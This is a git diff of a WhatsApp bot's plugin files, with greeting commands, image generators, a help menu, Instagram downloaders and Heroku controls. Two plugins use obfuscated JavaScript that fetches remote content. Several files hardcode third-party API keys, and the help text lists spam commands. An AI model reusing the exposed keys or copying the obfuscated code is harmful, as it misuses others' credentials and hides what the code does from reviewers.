hg.message + '```',MessageType.text); + } +})); + +Asena.addCommand({pattern: 'welcome (.*)', fromMe: false, dontAddCommandList: true}, (async (message, match) => { + var us = await checkUsAdmin(message); + if (!us) return await message.client.sendMessage(message.jid,Lang.PLKADMIN,MessageType.text ,{quoted: message.data }); + if (match[1] === '') { + return await message.client.sendMessage(message.jid,Lang.NEED_WELCOME_TEXT); + } else { + if (match[1] === 'delete') { await message.client.sendMessage(message.jid,Lang.WELCOME_DELETED,MessageType.text); return await sql.deleteMessage(message.jid, 'welcome'); } + await sql.setMessage(message.jid, 'welcome', match[1].replace(/#/g, '\n')); + return await message.client.sendMessage(message.jid,Lang.WELCOME_SETTED,MessageType.text) + } +})); + +Asena.addCommand({pattern: 'goodbye$', fromMe: false, desc: Lang.GOODBYE_DESC}, (async (message, match) => { + var us = await checkUsAdmin(message); + if (!us) return await message.client.sendMessage(message.jid,Lang.PLKADMIN,MessageType.text ,{quoted: message.data }); + var hg = await sql.getMessage(message.jid, 'goodbye'); + if (hg === false) { + await message.client.sendMessage(message.jid,Lang.NOT_SET_GOODBYE,MessageType.text) + } else { + await message.client.sendMessage(message.jid,Lang.GOODBYE_ALREADY_SETTED + hg.message + '```',MessageType.text); + } +})); + +Asena.addCommand({pattern: 'goodbye (.*)', fromMe: false, dontAddCommandList: true}, (async (message, match) => { + var us = await checkUsAdmin(message); + if (!us) return await message.client.sendMessage(message.jid,Lang.PLKADMIN,MessageType.text ,{quoted: message.data }); + if (match[1] === '') { + return await message.client.sendMessage(message.jid,Lang.NEED_GOODBYE_TEXT,MessageType.text); + } else { + if (match[1] === 'delete') { await message.client.sendMessage(message.jid,Lang.GOODBYE_DELETED,MessageType.text); return await sql.deleteMessage(message.jid, 'goodbye'); } + await sql.setMessage(message.jid, 'goodbye', match[1].replace(/#/g, '\n')); + return await message.client.sendMessage(message.jid,Lang.GOODBYE_SETTED,MessageType.text) + } +})); +} diff --git a/plugins/harrypotter.js b/plugins/harrypotter.js new file mode 100644 index 0000000000..76022ba943 --- /dev/null +++ b/plugins/harrypotter.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command Kazhinn Yanthankilum Eyuth muthe\n🙄🙄🙄" + +if (Config.WORKTYPE == 'private') { + + Asena.addCommand({ pattern: 'harrypotter ?(.*)', fromMe: true, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://lolhuman.herokuapp.com/api/textprome/harrypotter?apikey=72455af19b2324b6b9a4c844&text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); +} + +else if (Config.WORKTYPE == 'public') { + + Asena.addCommand({ pattern: 'harrypotter ?(.*)', fromMe: false, dontAddCommandList: true }, (async (message, match) => { + + if (match[1] === '') return await message.sendMessage(need); + + var ttinullimage = await axios.get(`https://lolhuman.herokuapp.com/api/textprome/harrypotter?apikey=72455af19b2324b6b9a4c844&text=${encodeURIComponent(match[1])}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer.from(ttinullimage.data), MessageType.image, { mimetype: Mimetype.jpg, caption: '*Made by Rocky*' }) + + })); + +} diff --git a/plugins/help.js b/plugins/help.js deleted file mode 100644 index c3031610b1..0000000000 --- a/plugins/help.js +++ /dev/null @@ -1,124 +0,0 @@ -/* Codded by @phaticusthiccy -Telegram: t.me/phaticusthiccy -Instagram: www.instagram.com/kyrie.baran -*/ - -const Asena = require('../events'); -const {MessageType, MessageOptions} = require('@adiwajshing/baileys'); -const Config = require('../config'); - -// ==================== MAIN DESCRIPTION TEXT ==================== -const h_Des = "Yardım menüsünden botu kullanım hakkında bilgi verir." -const h_DedEN = "Gives information about using the bot from the Help menu." -const matchnullEN = "========== *🆘 General Help 🆘* ==========\n\n🔹 *.install:* install external plugins.\n\n🔹 *.plugin:* Shows the complete list of plugins you have installed.\n🔹 *.setvar:* It settings config without entering Heroku.\n🔹 *.remove:* remove the installed plugins.\n\n🔹 *.ban:* ban someone in the group.reply to mesage or tag a person to use .\n🔹 *.add:* add someone to the group .\n🔹 *.promote:* give admin.\n\n🔹 *.demote:*remove from admiin.\n🔹 *.mute:* mute the group that only admins can send message.\n🔹 *.unmute:* unmute the group anyone can send message.\n\n🔹 *.invite:* provide the group invitation link.\n🔹 *.afk:* it makes you afk \n.🔹 *.filter:* it adds a filter if someone types your filter it sends the action if you just write .filter it shows your filtr list.\n\n🔹 *.stop:* stop the filter you previously added.\n🔹 *.welcome:* it sets the welcome message.\n\n🔹 *.goodbye:* it sets the goodbye message.\n🔹 *.degis:* changes the text of module like alive,afk etc....\n🔹 *.restart:* restart the bot.\n\n🔹 *.shutdown:* shutdown the bot.\n🔹 *.dyno:* check heroku dyno usage.\n🔹 *.getvar:* get heroku config var.\n\n🔹 *.delvar:* delete heroku config var.\n🔹 *.kickme:* leave from a grooup.\n🔹 *.pp:* makes the replyed photo your profile.\n\n🔹 *.block:* block user.\n🔹 *.jid:* gives the user jid.\n🔹 *.scam:* create 5 mint of fake action.\n\n🔹 *.spam:* it spam until you stop it.\n🔹 *.tagadmin:* tags group admin.\n🔹 *.tagall:* tags everyone in the group.\n\n🔹 *.update:* check for new updates.\n🔹 *.update now:* it makes updates.========== *End General Help* ==========" -const matchnull = "========== *🆘 Genel Yardım 🆘* ==========\n\n🔹 *.alive:* Botun çalışıp çalışmadığını kontrol eder.\n🔹 *.asena:* Tüm komut listesini gösterir.\n🔹 *.setvar:* Herokuya girmeden config ayarlar.\n\n🔸 Daha fazla yardım için ```.help ``` komutunu kullanın.\nÖrnek: ```.help botumu nasıl public yaparım?```\n\n========== *Genel Yardım Bitti* ==========" -const notfound = "```Almak istediğiniz yardım bulunamadı!```\n```Lütfen daha açıklayıcı bir şekilde sorunu belirtin.```" -const notfoundEN = "```The help you wanted to get was not found!```\n```Please state the problem in a more descriptive way.```" - -// ==================== ALL DESCRİPTİONS ==================== -const pubTR = "Botunuzu public yapmak komutları herkese açık yapacaktır. Public yapıldıktan sonra kullanıcı sadece kişisel ve admin komutlarını kullanabilir hale gelir. Onun dışında komutları kullanamaz.\nBotunuzu public yapmak için *.setvar WORK_TYPE:public* komutunu kullanın." -const pubEN = "Making your bot public will make the commands public. After it is made public, the user can only use personal and admin commands. User cannot use commands other than this.\n To make your bot public, type *.setvar WORK_TYPE:public*" -const blTR = "BlockChat botunu belirlediğiniz gruba, kişiye veya birden fazla sohbete kapatır.\nKullanmak için önce sohbete gidip *.jid* yazın. Daha sonra gelen *90xxx-xxx@g.us veya 90xxx@whatsapp.net* yazısını kopyalayın. (@g.us ve @whatsapp.net'i silin!)\nArdından *.setvar BLOCK_CHAT:id && id1,id2...* komutunu kullanın." -const sudoTR = "SUDO, botunuzu seçtiğiniz kullanıcıya tüm yetkileri ile paylaşır. Numara sonuna ,0 koyarsanız gruplarda da aktif hale gelir.\nKullanmak için *.setvar SUDO:90xxxx && 90xx,90xxx [ülke kodu ile, (❌ +90xx • ✅ 90xx)]" - -const privTR = "Botunuzu private yapmak komutları sadece size özel yapar. Başkaları kullanamaz.\nBotunuzu private yapmak için *.setvar WORK_TYPE:private* komutunu kullanın." -const privEN = "Making your bot private makes commands private only for you. Anyone cannot use.\nTo make your bot private, type *.setvar WORK_TYPE:private*" -const blEN = "Closes BlockChat bot to group, person or multiple chats you specify.\n To use it, first go to chat and type *.jid* Then copy to incoming code. (Except @g.us or @whatsapp.net!)\nThen use this command *.setvar BLOCK_CHAT:id && id1,id2..*" -const sudoEN = "SUDO, Shares your bot to the user you choose with all its powers.If you put ,0 at the end of the number, the user can also use it in the group.\nTo use, type *.setvar SUDO:90xxxx && 90xx,90xxx [with county code, (❌ +90xx • ✅ 90xx)]*" - -if (Config.LANG == 'TR' || Config.LANG == 'AZ') { - - Asena.addCommand({pattern: 'phelp ?(.*)', fromMe: true, desc: h_Des}, (async (message, match) => { - - if (match[1] === '') { - return await message.client.sendMessage( - message.jid, - matchnull, - MessageType.text - ); - } - else if ( (match[1].includes('public') && match[1].includes('nasıl')) || (match[1].includes('public') && match[1].includes('yapimi')) || (match[1].includes('public') && match[1].includes('yapımı')) || (match[1].includes('public') && match[1].includes('nedir')) || (match[1].includes('herkese') && match[1].includes('acik') || match[1].includes('açık')) ) { - return await message.client.sendMessage( - message.jid, - pubTR, - MessageType.text - ); - } - else if ( (match[1].includes('private') && match[1].includes('nasıl')) || (match[1].includes('private') && match[1].includes('yapimi')) || (match[1].includes('private') && match[1].includes('yapımı')) || (match[1].includes('private') && match[1].includes('nedir')) || (match[1].includes('bana') && match[1].includes('özel')) ) { - return await message.client.sendMessage( - message.jid, - privTR, - MessageType.text - ); - } - else if ( (match[1].includes('belirli') && match[1].includes('sohbet')) || (match[1].includes('sohbet') && match[1].includes('kapat')) || (match[1].includes('nasil') && match[1].includes('kapatabilirim')) || (match[1].includes('blockchat') && match[1].includes('nedir')) || (match[1].includes('sohbet') && match[1].includes('özel')) ) { - return await message.client.sendMessage( - message.jid, - blTR, - MessageType.text - ); - } - else if ( (match[1].includes('SUDO') && match[1].includes('nedir')) || (match[1].includes('SUDO') && match[1].includes('nasil')) || (match[1].includes('botu') && match[1].includes('baskasina')) || (match[1].includes('botu') && match[1].includes('arkadaşıma')) || (match[1].includes('SUDO') && match[1].includes('kullanmak')) ) { - return await message.client.sendMessage( - message.jid, - sudoTR, - MessageType.text - ); - } - else { - return await message.client.sendMessage( - message.jid, - notfound, - MessageType.text - ); - } - })); -} -else { - - Asena.addCommand({pattern: 'phelp ?(.*)', fromMe: true, desc: h_DedEN}, (async (message, match) => { - - if (match[1] === '') { - return await message.client.sendMessage( - message.jid, - matchnullEN, - MessageType.text - ); - } - else if ( (match[1].includes('public') && match[1].includes('how')) || (match[1].includes('public') && match[1].includes('set')) || (match[1].includes('public') && match[1].includes('setting')) ) { - return await message.client.sendMessage( - message.jid, - pubEN, - MessageType.text - ); - } - else if ( (match[1].includes('private') && match[1].includes('how')) || (match[1].includes('private') && match[1].includes('set')) || (match[1].includes('private') && match[1].includes('setting')) ) { - return await message.client.sendMessage( - message.jid, - privEN, - MessageType.text - ); - } - else if ( (match[1].includes('SUDO') && match[1].includes('usage')) || (match[1].includes('SUDO') && match[1].includes('what')) || (match[1].includes('how') && match[1].includes('SUDO')) || (match[1].includes('set') && match[1].includes('SUDO')) || (match[1].includes('share') && match[1].includes('bot')) ) { - return await message.client.sendMessage( - message.jid, - sudoEN, - MessageType.text - ); - } - else if ( (match[1].includes('block') && match[1].includes('chat')) || (match[1].includes('how') && match[1].includes('block')) || (match[1].includes('close') && match[1].includes('bot')) || (match[1].includes('specific') && match[1].includes('chat')) || (match[1].includes('specific') && match[1].includes('set')) ) { - return await message.client.sendMessage( - message.jid, - blEN, - MessageType.text - ); - } - else { - return await message.client.sendMessage( - message.jid, - notfoundEN, - MessageType.text - ); - } - })); -} diff --git a/plugins/helper.js b/plugins/helper.js new file mode 100644 index 0000000000..94fb15264a --- /dev/null +++ b/plugins/helper.js @@ -0,0 +1 @@ +const m=b;(function(c,d){const l=b,e=c();while(!![]){try{const f=-parseInt(l(0x19a))/0x1*(parseInt(l(0x1a4))/0x2)+parseInt(l(0x19e))/0x3*(parseInt(l(0x1a9))/0x4)+-parseInt(l(0x19d))/0x5*(parseInt(l(0x1a5))/0x6)+parseInt(l(0x195))/0x7+parseInt(l(0x19b))/0x8+parseInt(l(0x196))/0x9*(-parseInt(l(0x1a6))/0xa)+-parseInt(l(0x1a8))/0xb*(-parseInt(l(0x1a1))/0xc);if(f===d)break;else e['push'](e['shift']());}catch(g){e['push'](e['shift']());}}}(a,0x867c1));const souravkl11=require(m(0x1a7)),{MessageType,GroupSettingChange,Mimetype,MessageOptions}=require(m(0x197)),fs=require('fs'),Config=require('../config'),axios=require(m(0x1a2));function b(c,d){const e=a();return b=function(f,g){f=f-0x195;let h=e[f];return h;},b(c,d);}function a(){const o=['342dVkGZG','@adiwajshing/baileys','id1','id2','238499AdkNEe','8269024oXbhMZ','https://gist.github.com/anshadat/95276b8a9a1bd63e61d37c697c059caa/raw','2374340PlNNer','9fdyyKE','client','help','60zrNpSR','axios','buttonsMessage','4VrHGBs','12tdxUrs','168590uMmBhe','../events','1949134SLwMiz','806128MlqPok','658217WkUJHe'];a=function(){return o;};return a();}souravkl11['addCommand']({'pattern':m(0x1a0),'fromMe':![],'dontAddCommandList':!![]},async(c,d)=>{const n=m,{data:e}=await axios(n(0x19c)),{foot:f,head:g,b1:h,b2:i}=e,j=[{'buttonId':n(0x198),'buttonText':{'displayText':h},'type':0x1},{'buttonId':n(0x199),'buttonText':{'displayText':i},'type':0x1}],k={'contentText':g,'footerText':f,'buttons':j,'headerType':0x1};await c[n(0x19f)]['sendMessage'](c['jid'],k,MessageType[n(0x1a3)]);}); diff --git a/plugins/heroku.js b/plugins/heroku.js index 6b006cf045..66c23f89d8 100644 --- a/plugins/heroku.js +++ b/plugins/heroku.js @@ -11,6 +11,7 @@ const Heroku = require('heroku-client'); const {secondsToHms} = require('./afk'); const got = require('got'); const {MessageType} = require('@adiwajshing/baileys'); +const sql = require('./sql/greetings'); const Language = require('../language'); const Lang = Language.getString('heroku'); @@ -23,15 +24,12 @@ const heroku = new Heroku({ let baseURI = '/apps/' + Config.HEROKU.APP_NAME; -Asena.addCommand({pattern: 'degis ?(.*)', fromMe: true, desc: Lang.DEGİS_DESC}, (async (message, match) => { +Asena.addCommand({pattern: 'degis ?(.*)', fromMe: true, dontAddCommandList: true, desc: Lang.DEGİS_DESC}, (async (message, match) => { - if (match[1] == '' && message.reply_message) { + if (match[1] == '') { return await message.client.sendMessage(message.jid, Lang.DEGİS_NONE, MessageType.text); } - else if (match[1] !== '' && !message.reply_message) { - return await message.client.sendMessage(message.jid, Lang.NEED_REPLY, MessageType.text); - } - else if (match[1] == '' && !message.reply_message) { + else if (!message.reply_message) { return await message.client.sendMessage(message.jid, Langr.NEED_REPLY, MessageType.text); } else if (match[1] == 'ban' && message.reply_message) { @@ -44,6 +42,16 @@ Asena.addCommand({pattern: 'degis ?(.*)', fromMe: true, desc: Lang.DEGİS_DESC}, } }); } + else if (match[1] == 'welcome' && message.reply_message) { + await message.client.sendMessage(message.jid, Lang.SUCC, MessageType.text); + await sql.setMessage(message.jid, 'welcome', message.reply_message.text) + await message.client.sendMessage(message.jid, Lang.GR_DEL, MessageType.text); + } + else if (match[1] == 'goodbye' && message.reply_message) { + await message.client.sendMessage(message.jid, Lang.SUCC, MessageType.text); + await sql.setMessage(message.jid, 'goodbye', message.reply_message.text) + await message.client.sendMessage(message.jid, Lang.GR_DEL, MessageType.text); + } else if (match[1] == 'mute' && message.reply_message) { await message.client.sendMessage(message.jid, Lang.SUCC, MessageType.text); await new Promise(r => setTimeout(r, 1200)); @@ -144,16 +152,13 @@ Asena.addCommand({pattern: 'degis ?(.*)', fromMe: true, desc: Lang.DEGİS_DESC}, } }); } - else if ((!match[1] == 'unblock' || !match[1] == 'add' || !match[1] == 'block' || !match[1] == 'mute' || !match[1] == 'unmute' || !match[1] == 'afk' || !match[1] == 'alive' || !match[1] == 'demote' || !match[1] == 'promote' || !match[1] == 'ban' || !match[1] == 'kickme') && message.reply_message) { - return await message.client.sendMessage(message.jid, Lang.WR, MessageType.text); - } - else if ((!match[1] == 'unblock' || !match[1] == 'add' || !match[1] == 'block' || !match[1] == 'mute' || !match[1] == 'unmute' || !match[1] == 'afk' || !match[1] == 'alive' || !match[1] == 'demote' || !match[1] == 'promote' || !match[1] == 'ban' || !match[1] == 'kickme') && !message.reply_message) { + else if (!match[1] == 'unblock' || !match[1] == 'welcome' || !match[1] == 'goodbye' || !match[1] == 'add' || !match[1] == 'block' || !match[1] == 'mute' || !match[1] == 'unmute' || !match[1] == 'afk' || !match[1] == 'alive' || !match[1] == 'demote' || !match[1] == 'promote' || !match[1] == 'ban' || !match[1] == 'kickme' && message.reply_message) { return await message.client.sendMessage(message.jid, Lang.WR, MessageType.text); } })); -Asena.addCommand({pattern: 'restart', fromMe: true, desc: Lang.RESTART_DESC}, (async (message, match) => { +Asena.addCommand({pattern: 'restart$', fromMe: true, dontAddCommandList: true, desc: Lang.RESTART_DESC}, (async (message, match) => { await message.client.sendMessage(message.jid,Lang.RESTART_MSG, MessageType.text); console.log(baseURI); @@ -162,7 +167,7 @@ Asena.addCommand({pattern: 'restart', fromMe: true, desc: Lang.RESTART_DESC}, (a }); })); -Asena.addCommand({pattern: 'shutdown', fromMe: true, desc: Lang.SHUTDOWN_DESC}, (async(message, match) => { +Asena.addCommand({pattern: 'shutdown$', fromMe: true, dontAddCommandList: true, desc: Lang.SHUTDOWN_DESC}, (async(message, match) => { await heroku.get(baseURI + '/formation').then(async (formation) => { forID = formation[0].id; @@ -180,7 +185,7 @@ Asena.addCommand({pattern: 'shutdown', fromMe: true, desc: Lang.SHUTDOWN_DESC}, if (Config.WORKTYPE == 'private') { - Asena.addCommand({pattern: 'dyno', fromMe: true, desc: Lang.DYNO_DESC}, (async (message, match) => { + Asena.addCommand({pattern: 'dyno$', fromMe: true, dontAddCommandList: true, desc: Lang.DYNO_DESC}, (async (message, match) => { heroku.get('/account').then(async (account) => { // have encountered some issues while calling this API via heroku-client @@ -213,37 +218,7 @@ if (Config.WORKTYPE == 'private') { } else if (Config.WORKTYPE == 'public') { - Asena.addCommand({pattern: 'dyno', fromMe: false, desc: Lang.DYNO_DESC}, (async (message, match) => { - - heroku.get('/account').then(async (account) => { - // have encountered some issues while calling this API via heroku-client - // so let's do it manually - url = "https://api.heroku.com/accounts/" + account.id + "/actions/get-quota" - headers = { - "User-Agent": "Chrome/80.0.3987.149 Mobile Safari/537.36", - "Authorization": "Bearer " + Config.HEROKU.API_KEY, - "Accept": "application/vnd.heroku+json; version=3.account-quotas", - } - await got(url, {headers: headers}).then(async (res) => { - const resp = JSON.parse(res.body); - total_quota = Math.floor(resp.account_quota); - quota_used = Math.floor(resp.quota_used); - percentage = Math.round((quota_used / total_quota) * 100); - remaining = total_quota - quota_used; - await message.client.sendMessage( - message.jid, - Lang.DYNO_TOTAL + ": ```{}```\n\n".format(secondsToHms(total_quota)) + - Lang.DYNO_USED + ": ```{}```\n".format(secondsToHms(quota_used)) + - Lang.PERCENTAGE + ": ```{}```\n\n".format(percentage) + - Lang.DYNO_LEFT + ": ```{}```\n".format(secondsToHms(remaining)), - MessageType.text - ); - }).catch(async (err) => { - await message.client.sendMessage(message.jid,err.message, MessageType.text); - }); - }); - })); - Asena.addCommand({pattern: 'dyno', fromMe: true, desc: Lang.DYNO_DESC, dontAddCommandList: true}, (async (message, match) => { + Asena.addCommand({pattern: 'dyno$', fromMe: false, dontAddCommandList: true, desc: Lang.DYNO_DESC}, (async (message, match) => { heroku.get('/account').then(async (account) => { // have encountered some issues while calling this API via heroku-client @@ -275,7 +250,7 @@ else if (Config.WORKTYPE == 'public') { })); } -Asena.addCommand({pattern: 'setvar ?(.*)', fromMe: true, desc: Lang.SETVAR_DESC}, (async(message, match) => { +Asena.addCommand({pattern: 'setvar ?(.*)', fromMe: true, dontAddCommandList: true, desc: Lang.SETVAR_DESC}, (async(message, match) => { if (match[1] === '') return await message.client.sendMessage(message.jid,Lang.KEY_VAL_MISSING, MessageType.text); @@ -691,7 +666,7 @@ Asena.addCommand({pattern: 'setvar ?(.*)', fromMe: true, desc: Lang.SETVAR_DESC} })); -Asena.addCommand({pattern: 'delvar ?(.*)', fromMe: true, desc: Lang.DELVAR_DESC}, (async (message, match) => { +Asena.addCommand({pattern: 'delvar ?(.*)', fromMe: true, dontAddCommandList: true, desc: Lang.DELVAR_DESC}, (async (message, match) => { if (match[1] === '') return await message.client.sendMessage(message.jid,Lang.KEY_VAL_MISSING, MessageType.text); await heroku.get(baseURI + '/config-vars').then(async (vars) => { @@ -713,7 +688,7 @@ Asena.addCommand({pattern: 'delvar ?(.*)', fromMe: true, desc: Lang.DELVAR_DESC} })); -Asena.addCommand({pattern: 'getvar ?(.*)', fromMe: true, desc: Lang.GETVAR_DESC}, (async (message, match) => { +Asena.addCommand({pattern: 'getvar ?(.*)', fromMe: true, dontAddCommandList: true, desc: Lang.GETVAR_DESC}, (async (message, match) => { if (match[1] === '') return await message.client.sendMessage(message.jid,Lang.KEY_VAL_MISSING, MessageType.text); await heroku.get(baseURI + '/config-vars').then(async (vars) => { diff --git a/plugins/i b/plugins/i deleted file mode 100644 index 8b13789179..0000000000 --- a/plugins/i +++ /dev/null @@ -1 +0,0 @@ - diff --git a/plugins/info.js b/plugins/info.js new file mode 100644 index 0000000000..421ad95ada --- /dev/null +++ b/plugins/info.js @@ -0,0 +1,40 @@ +//PLUGIN BY SOURAVKL11 COPY WITH CREDIT + +const Asena = require('../events'); +const {MessageType, MessageOptions, Mimetype} = require('@adiwajshing/baileys'); +const Config = require('../config'); +const axios = require('axios'); + +const Language = require('../language'); +const Lang = Language.getString('wallpaper'); + +Asena.addCommand({pattern: 'info', fromMe: false, desc: 'Shows bot information and creator info'}, (async (message, match) => { + + var r_text = new Array (); + + + + r_text[0] = Config.LOGOSK; + + + var i = Math.floor(1*Math.random()) + + var respoimage = await axios.get(`${r_text[i]}`, { responseType: 'arraybuffer' }) + + await message.sendMessage(Buffer(respoimage.data), MessageType.image, {mimetype: Mimetype.png, caption: `` + Config.BOTPLK + ` *BOT CREATED BY* ` + Config.PLK +` + + ----- ` + Config.BOTPLK + ` ----- + +╭─➤ 𝗜𝗡𝗙𝗢 𝗗𝗘𝗩𝗘𝗟𝗢𝗣𝗘𝗥 » +│❖ *ᴀᴜᴛʜᴏʀ* : ` + Config.PLK + ` +│❖ *ᴋᴇʀɴᴇʟ* : ʟɪɴᴜx +│❖ *ɪɴꜱᴛᴀɢʀᴀᴍ* : ` + Config.SLINK + ` +│❖ *ᴡʜᴀᴛꜱᴀᴘᴘ* : ᴄᴏᴍɪɴɢ ꜱᴏᴏɴ... +╰────────────────❋ཻུ۪۪➹ +⌕ ❙❘❙❙❘❙❚❙❘❙❙❚❙❘❙❘❙❚❙❘❙❙❚❙❘❙❙❘❙❚❙❘ + ` + Config.BOTPLK + ` + + ⚡ ` + Config.AFN + ` ⚡ +`}) + +})); diff --git a/plugins/insta.js b/plugins/insta.js index de61bbe506..4c06dccf10 100644 --- a/plugins/insta.js +++ b/plugins/insta.js @@ -1,126 +1,21 @@ -const Asena = require('../events') -const { MessageType, Mimetype} = require('@adiwajshing/baileys') -const axios = require('axios') -const sd = "Instagram video dowloads." -const got = require('got'); -const hb = "Rent" -const yb = "Rentable" -const tvig = "Dwnlds Via Igtv." -const ph = "instagram Media Downloads." -const { errorMessage, infoMessage } = require('../helpers') -const Language = require('../language'); -const Lang = Language.getString('instagram') - - -Asena.addCommand({ pattern: 'vinsta ?(.*)', fromMe: false, desc: sd }, async (message, match) => { - - const userName = match[1] - - if (userName === '') return await message.client.sendMessage(message.jid, '```URL Gir!```') - - await axios.get(`https://docs-jojo.herokuapp.com/api/insta?url=${userName}`).then(async (response) => { - - const { resource } = response.data - - const profileBuffer = await axios.get(resource.url[0], { responseType: 'arraybuffer' }) - - if (resource.url.is_video[0]) { - await message.sendMessage(Buffer.from(profileBuffer.data), MessageType.video, { caption: 'Made by WhatsAsena' }) - } - else if (!resource.url.is_video[0]) { - await message.sendMessage(Buffer.from(profileBuffer.data), MessageType.image, { caption: 'Made by WhatsAsena' }) - } - }).catch(async (err) => { - await message.sendMessage(errorMessage(Lang.NOT_FOUND + userName)) - }) +/* No credit +Anshad +*/ + +const Asena = require('../events'); +const {MessageType} = require('@adiwajshing/baileys'); +const Config = require('../config'); +const axios = require('axios'); +const IG_DESC = "Downloads Image/Video From Instagram" + +Asena.addCommand({ pattern: 'insta ?(.*)', fromMe: false, desc: IG_DESC }, async (message, match) => { + //if(match[1] == '') return + let { data, type } = await instaGram(match[1], 'f3eaf19231f6201c'); + //if(type == undefined) return + if (type === 'image') { await message.sendMessage(data, MessageType.image, { caption: Config.AFN }) } + else if (type === 'video') { await message.sendMessage(data, MessageType.video, { caption: Config.AFN }) } }); -Asena.addCommand({ pattern: 'pinsta ?(.*)', fromMe: false, desc: ph }, async (message, match) => { - - const userName = match[1] - - if (userName === '') return await message.client.sendMessage(message.jid, '```URL Gir!```') - - await axios - .get(`https://api.zeks.xyz/api/ig?url=${userName}&apikey=Ekqqy3DmxtTHPAuA7inIHpxjFIC`) - .then(async (response) => { - - const { - owner, - caption, - url, - } = response.data.result - - const phig = await axios.get(url, - {responseType: 'arraybuffer', - }) - - const msg = `*Username:* ${owner} \n*Caption:* ${caption}` - - await message.sendMessage(Buffer.from(phig.data), MessageType.image, { - caption: msg, - }) - }) - .catch( - async (err) => await message.client.sendMessage(message.jid, 'Bulunamadı'), - ) - }, -) - -Asena.addCommand({ pattern: 'igtv ?(.*)', fromMe: false, desc: tvig }, async (message, match) => { - - const userName = match[1] - - if (userName === '') return await message.client.sendMessage(message.jid, '```URL Gir!```') - - await axios - .get(`https://videfikri.com/api/igtv/?url=${userName}`) - .then(async (response) => { - - const { - likes, - comment, - username, - full_name, - caption, - video_url, - duration, - } = response.data.result - - const tvdat = await axios.get(video_url, - {responseType: 'arraybuffer', - }) - - const msg = `*Username:* ${username} \n*Name:* ${full_name} \n*Likes:* ${likes} \n*Comments:* ${comment} \n*Caption:* ${caption} \n*Duration:* ${duration}` - - await message.sendMessage(Buffer.from(tvdat.data), MessageType.video, { - caption: msg, - }) - }) - .catch( - async (err) => await message.client.sendMessage(message.jid, 'Bulunamadı'), - ) - }, -) -Asena.addCommand({ pattern: 'igstalk ?(.*)', fromMe: true, desc: Lang.DESC }, (async (message, match) => { - if (match[0].includes('install')) return; - if (match[1] === '') return await message.client.sendMessage(message.jid, Lang.NEED_WORD, MessageType.text, { quoted: message.data }); - if (!match[1].includes('www.instagram.com')) return await message.client.sendMessage(message.jid, Lang.NEED_WORD, MessageType.text, { quoted: message.data }); - - let urls = `https://api.xteam.xyz/dl/igstalk?url=${match[1]}&APIKEY=82d4dc815ab1fd4c` - var response = await got(urls) - const json = JSON.parse(response.body); - - if (json.status === false) return await message.client.sendMessage(message.jid, Lang.NOT_FOUND, MessageType.text, { quoted: message.data }); - - if (json.code === 403) return await message.client.sendMessage(message.jid, '```API Error!```', MessageType.text, { quoted: message.data }); - - await message.client.sendMessage(message.jid, Tlang.DOWN, MessageType.text, { quoted: message.data }); - - let url = json.result.data[0].data; - let name = json.result.data[0].type; - await axios({ method: "get", url, headers: { 'DNT': 1, 'Upgrade-Insecure-Request': 1 }, responseType: 'arraybuffer'}).then(async (res) => { - if (name === 'video') { return await message.sendMessage(Buffer(res.data), MessageType.video, { caption: '*' + Tlang.USERNAME + '* ' + json.result.username + '\n*' + Tlang.LİNK + '* ' + 'http://instagram.com/' + json.result.username + '\n*Beğeni Sayısı:* ' + json.result.likes + '\n*' + Tlang.CAPTİON + '* ' + json.result.caption }) } else { return await message.sendMessage(Buffer(res.data), MessageType.image, { caption: '*' + Tlang.USERNAME + '* ' + json.result.username + '\n*' + Tlang.LİNK + '* ' + 'http://instagram.com/' + json.result.username + '\n*Beğeni Sayısı:* ' + json.result.likes + '\n*' + Tlang.CAPTİON + '* ' + json.result.caption }); - } - }); - -})); +//const axios = require('axios') +async function instaGram(url, key){ +const _0x477b=['135767iKnckP','673rRPNhH','data','1oVaSnc','1wFsRJN','5ZNKfRV','1082797kEqNzc','33405qKXkqX','get','536467jgcujZ','1509050KmQvtd','1sEPhwh','&APIKEY=','510217irWqHr','1753kjFBCd','20fokBTd'];function _0x34d6(_0x4f9dd8,_0x1e6344){return _0x34d6=function(_0x477b29,_0x34d6ab){_0x477b29=_0x477b29-0x128;let _0x12f50b=_0x477b[_0x477b29];return _0x12f50b;},_0x34d6(_0x4f9dd8,_0x1e6344);}const _0x88f305=_0x34d6;(function(_0x346d1d,_0xbe28c5){const _0x7c775f=_0x34d6;while(!![]){try{const _0x4a8522=parseInt(_0x7c775f(0x129))*-parseInt(_0x7c775f(0x136))+parseInt(_0x7c775f(0x12f))*parseInt(_0x7c775f(0x137))+parseInt(_0x7c775f(0x128))*parseInt(_0x7c775f(0x12d))+parseInt(_0x7c775f(0x12e))+parseInt(_0x7c775f(0x133))*parseInt(_0x7c775f(0x131))+parseInt(_0x7c775f(0x12c))*-parseInt(_0x7c775f(0x132))+-parseInt(_0x7c775f(0x135))*-parseInt(_0x7c775f(0x12b));if(_0x4a8522===_0xbe28c5)break;else _0x346d1d['push'](_0x346d1d['shift']());}catch(_0x1daac9){_0x346d1d['push'](_0x346d1d['shift']());}}}(_0x477b,0xc048d));const res=await axios('https://xteam.xyz/dl/ig?url='+url+_0x88f305(0x134)+key),{data,type}=res[_0x88f305(0x12a)]['result'][_0x88f305(0x12a)][0x0],buffer=await axios[_0x88f305(0x130)](data,{'responseType':'arraybuffer'});return{'data':buffer[_0x88f305(0x12a)],'type':type}; +} diff --git a/plugins/leavest.js b/plugins/leavest.js new file mode 100644 index 0000000000..0d4f5998c3 --- /dev/null +++ b/plugins/leavest.js @@ -0,0 +1,38 @@ +/* Copyright (C) 2021 anshadvfc. +Licensed under the GPL-3.0 License; +you may not use this file except in compliance with the License. +ROCKY*/ + +const Asena = require('../events'); +const { MessageType, MessageOptions, Mimetype } = require('@adiwajshing/baileys'); +const fs = require('fs'); +const axios = require('axios'); +const Config = require('../config'); +const need = "Command 